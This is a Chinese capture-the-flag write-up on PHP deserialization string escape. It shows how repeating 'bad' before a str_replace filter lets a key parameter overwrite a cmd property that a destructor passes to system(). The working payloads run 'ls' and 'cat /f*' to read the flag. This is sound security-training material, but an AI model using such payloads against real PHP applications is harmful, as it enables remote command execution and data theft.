打开链接,大致审一下php代码,是反序列化相关的;
结合题目提示,很典型的字符串逃逸;
并且属于替换修改后导致序列化字符串变长的类型;
看似加了一个waf函数对我们提交的内容进行了过滤替换,实则替换函数正是我们利用的点!
从页面回显可以看出system函数被调用了,并且执行了whoami命令,
执行结果为:www-data www-data
我们这里要给key传参,利用str_replace()函数,实现字符串逃逸,进而间接修改参数cmd的值。
先随便给key传一个值,观察一下它序列化之后的样子:
<?php
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
$g = new GetFlag('123');
echo serialize($g);
?>
注意:这里对象$g创建时的构造函数(construct)需要接受一个$key参数,在实例化GetFlag对象时,如果没有传递$key参数,就会导致构造函数无法正常工作,从而阻止对象的正确序列化。
得到:O:7:"GetFlag":2:{s:3:"key";s:3:"123";s:3:"cmd";s:6:"whoami";}
主要参数介绍:
s表示类型是字符串(string);
3和6表示字符串长度;
key、cmd这些是变量名;
123、whoami是字符串内容。
字符串逃逸,为什么会出现逃逸?
在反序列化的时候php会根据s所指定的字符长度去读取后边的字符,由于在序列化操作后又使用了str_replace()函数进行字符串替换,这就可能会改变字符串的长度,比如上面将bad替换为good,每替换掉一个bad,字符串长度明显就增加了1,而由于序列化之后s的值没变,但是进行了内容替换,改变了字符串长度,那么反序列化读取时,就并不能将原本的内容读取完全。
而后面没有被读到的内容,也就是逃逸出来的字符串,就会被当做当前类的属性被继续执行。
这里我们想修改cmd的内容,也就需要逃逸出这部分内容:
";s:3:"cmd";s:6:"whoami";}
对其简单修改一下,比如我们想执行ls命令,ls有两个字符,所以s后改为2,之所以修改正确是为了后面能正确的被反序列化:
";s:3:"cmd";s:2:"ls";}
整个逃逸内容有22个字符,每替换一个bad可以逃逸出一个字符,那么我们添加22个bad即可。
构造payload:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
但是不知道为啥,在进行目录穿越时报错:
猜测flag在根目录下,同样的原理,构造payload:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}
直接拿下
flag{9ffa1365-891e-4730-b5e8-176000978c71}